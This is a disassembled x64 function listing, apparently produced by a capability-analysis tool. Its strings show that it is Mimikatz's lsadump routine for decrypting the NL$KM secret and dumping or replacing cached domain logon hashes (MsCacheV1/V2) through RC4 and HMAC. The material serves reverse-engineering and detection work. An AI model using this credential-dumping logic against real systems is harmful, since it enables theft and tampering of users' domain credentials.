Function at 0x18005c208
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x38]
sub rsp, 0x110
lea rax, [rbp]
mov rbx, r8
mov qword [rbp - 0x40], rax
lea r8, str.SecretsNL_KMCurrVal
lea rax, [rbp - 0x5c]
mov r13d, 0x10
mov qword [rsp + 0x30], rax
mov r12d, 0x2800
lea rax, [rbp - 0x68]
mov dword [rbp - 0x6c], r12d
mov qword [rsp + 0x28], rax
mov r14, r9
mov rax, qword [rbp + 0x60]
mov r15, rcx
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x48], r13d
mov dword [rbp - 0x44], r13d
call fcn.18005c8f0
test eax, eax
je 0x18005c680
mov rsi, qword [rbp + 0x68]
test rsi, rsi
je 0x18005c2a0
mov rax, qword [rsi]
neg rax
sbb ecx, ecx
and ecx, 0x20006
jmp 0x18005c2a2
xor ecx, ecx
or ecx, 0x20019
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea r8, str.Cache
mov dword [rsp + 0x20], ecx
xor r9d, r9d
mov rcx, r15
mov rdx, rbx
call fcn.18000ac04
test eax, eax
je 0x18005c676
test r14, r14
je 0x18005c355
lea rcx, [0x1800a38e8]
call fcn.1800090bc
mov rdx, qword [rbp - 0x80]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
lea r8, str.NL_IterationCount
lea rax, [rsp + 0x70]
mov rcx, r15
mov qword [rsp + 0x28], rax
call fcn.18000b16c
test eax, eax
je 0x18005c349
mov edx, dword [rsp + 0x70]
mov ecx, edx
and ecx, 0xfffffc00
mov eax, edx
shl eax, 0xa
cmp edx, r12d
cmova eax, ecx
lea rcx, str._NL_IterationCount_is__u___u_real_iteration_s__n
mov r8d, eax
mov dword [rbp - 0x6c], eax
mov r12d, eax
call fcn.1800090bc
cmp dword [rsp + 0x70], 0
jne 0x18005c355
lea rcx, str._DCC1_mode___n
jmp 0x18005c350
lea rcx, str._Iteration_is_set_to_default__10240__n
call fcn.1800090bc
mov rdx, qword [rbp - 0x80]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rax, [rsp + 0x78]
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov rcx, r15
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
call fcn.18000ae8c
test eax, eax
je 0x18005c66a
mov eax, dword [rsp + 0x78]
mov ebx, 0x40
inc eax
mov ecx, ebx
mov dword [rsp + 0x78], eax
lea edx, [rax + 1]
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x18005c66a
mov edx, dword [rbp - 0x78]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x18005c661
xor ecx, ecx
mov dword [rsp + 0x70], ecx
cmp dword [rbp - 0x70], ecx
jbe 0x18005c658
mov eax, dword [rsp + 0x78]
mov r8d, ecx
mov rdx, qword [rbp - 0x80]
mov r9, rdi
mov dword [rbp - 0x60], eax
mov rcx, r15
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x74], eax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x74]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
call fcn.18000b4c8
test eax, eax
je 0x18005c641
mov r8d, 0xa
lea rdx, str.NL_Control
mov rcx, rdi
call fcn.180080768
test eax, eax
je 0x18005c641
mov r8d, 0x11
lea rdx, str.NL_IterationCount
mov rcx, rdi
call fcn.180080768
test eax, eax
je 0x18005c641
test byte [rbx + 0x30], 1
je 0x18005c641
mov rdx, rdi
lea rcx, str._n__s__
call fcn.1800090bc
lea rcx, [rbx + 0x20]
call fcn.18000e444
mov edx, dword [rbx + 0x10]
lea rcx, str.__nRID_______:__08x___u__n
mov r8d, edx
call fcn.1800090bc
mov r13d, dword [rsp + 0x74]
add r13d, 0xffffffa0
test r14, r14
je 0x18005c6bc
and dword [rsp + 0x30], 0
lea rax, [rbx + 0x40]
mov r9, qword [rbp - 0x68]
lea r14, [rbx + 0x60]
mov rdx, r14
mov qword [rsp + 0x28], rax
mov r8d, r13d
call fcn.180003af0
test eax, eax
je 0x18005c63d
mov dl, 0x32
mov rcx, rbx
call fcn.18005c86c
movzx eax, word [rbx]
lea rdx, [rbx + 0xa8]
mov word [rbp - 0x56], ax
mov word [rbp - 0x58], ax
mov qword [rbp - 0x50], rdx
test rsi, rsi
je 0x18005c63d
mov rcx, qword [rsi]
test rcx, rcx
je 0x18005c63d
movzx r8d, ax
shr r8, 1
call fcn.180080768
test eax, eax
jne 0x18005c63d
lea rcx, str.__User_cache_replace_mode__2___n
call fcn.1800090bc
mov r8b, 1
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_RtlDowncaseUnicodeString]
test eax, eax
js 0x18005c63d
lea rcx, [rbp - 0x20]
mov r9d, eax
mov qword [rsp + 0x20], rcx
lea rdx, [rsi + 8]
mov rcx, r14
mov r8d, r12d
call fcn.180004048
test eax, eax
js 0x18005c63d
lea rcx, str.__MsCacheV2_:
call fcn.1800090bc
xor r8d, r8d
mov rcx, r14
lea edx, [r8 + 0x10]
call fcn.18000e2ec
lea rcx, [0x1800a38e8]
call fcn.1800090bc
mov rdx, qword [rbp - 0x68]
lea r12, [rbx + 0x50]
mov eax, 0x10
mov r9, r14
mov dword [rsp + 0x30], eax
mov r8d, eax
mov qword [rsp + 0x28], r12
mov ecx, 0x8004
mov dword [rsp + 0x20], r13d
call fcn.180003390
test eax, eax
je 0x18005c63d
lea rcx, str.__Checksum__:
call fcn.1800090bc
xor r8d, r8d
mov rcx, r12
lea edx, [r8 + 0x10]
call fcn.18000e2ec
lea rcx, [0x1800a38e8]
call fcn.1800090bc
mov r9, qword [rbp - 0x68]
lea rax, [rbx + 0x40]
mov dword [rsp + 0x30], 1
mov r8d, r13d
mov rdx, r14
mov qword [rsp + 0x28], rax
call fcn.180003af0
test eax, eax
je 0x18005c63d
mov eax, dword [rsp + 0x74]
mov r8, rdi
mov rdx, qword [rbp - 0x80]
mov rcx, r15
mov dword [rsp + 0x30], eax
mov eax, dword [rbp - 0x74]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
call fcn.18000b254
test eax, eax
je 0x18005c6a6
lea rcx, str.__OK__n
call fcn.1800090bc
mov r14, qword [rbp + 0x58]
mov ecx, dword [rsp + 0x70]
mov r12d, dword [rbp - 0x6c]
inc ecx
mov dword [rsp + 0x70], ecx
cmp ecx, dword [rbp - 0x70]
jb 0x18005c3e6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, qword [rbp - 0x80]
mov rcx, r15
call fcn.18000b708
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r11, [rsp + 0x110]
mov eax, 1
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_registry_RegSetValueEx__0x_08x__n
mov edx, eax
call fcn.1800090bc
jmp 0x18005c63d
mov rax, qword [rbp - 0x40]
lea r9, [rbx + 0x40]
mov r8d, dword [rbp - 0x5c]
mov r12d, 0x10
mov rdx, qword [rbp - 0x68]
mov ecx, 0x8003
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
call fcn.180003390
test eax, eax
je 0x18005c850
lea r14, [rbx + 0x60]
mov dword [rbp - 0x34], r13d
lea rdx, [rbp - 0x48]
mov qword [rbp - 0x30], r14
lea rcx, [rbp - 0x38]
mov dword [rbp - 0x38], r13d
call qword [sym.imp.ADVAPI32.dll_SystemFunction032]
test eax, eax
js 0x18005c844
mov dl, 0x31
mov rcx, rbx
call fcn.18005c86c
movzx eax, word [rbx]
lea rdx, [rbx + 0xa8]
mov word [rbp - 0x56], ax
mov word [rbp - 0x58], ax
mov qword [rbp - 0x50], rdx
test rsi, rsi
je 0x18005c63d
mov rcx, qword [rsi]
test rcx, rcx
je 0x18005c63d
movzx r8d, ax
shr r8, 1
call fcn.180080768
test eax, eax
jne 0x18005c63d
lea rcx, str.__User_cache_replace_mode__1___n
call fcn.1800090bc
mov r8b, 1
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x10]
call qword [sym.imp.ntdll.dll_RtlDowncaseUnicodeString]
test eax, eax
js 0x18005c63d
lea rcx, [rbp - 0x10]
mov r9d, eax
mov qword [rsp + 0x20], rcx
lea rdx, [rsi + 8]
mov rcx, r14
xor r8d, r8d
call fcn.180004048
test eax, eax
js 0x18005c63d
lea rcx, str.__MsCacheV1_:
call fcn.1800090bc
xor r8d, r8d
mov edx, r12d
mov rcx, r14
call fcn.18000e2ec
lea rcx, [0x1800a38e8]
call fcn.1800090bc
mov rdx, qword [rbp - 0x40]
lea r12, [rbx + 0x50]
mov dword [rsp + 0x30], 0x10
mov r9, r14
mov qword [rsp + 0x28], r12
mov ecx, 0x8003
mov dword [rsp + 0x20], r13d
mov r13d, 0x10
mov r8d, r13d
call fcn.180003390
test eax, eax
je 0x18005c63d
lea rcx, str.__Checksum__:
call fcn.1800090bc
xor r8d, r8d
mov edx, r13d
mov rcx, r12
call fcn.18000e2ec
lea rcx, [0x1800a38e8]
call fcn.1800090bc
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_SystemFunction032]
test eax, eax
jns 0x18005c60a
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___RtlEncryptDecryptRC4_:_0x_08x_n
jmp 0x18005c6b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_crypto_hmac__0x_08x__n
call fcn.1800090bc
jmp 0x18005c641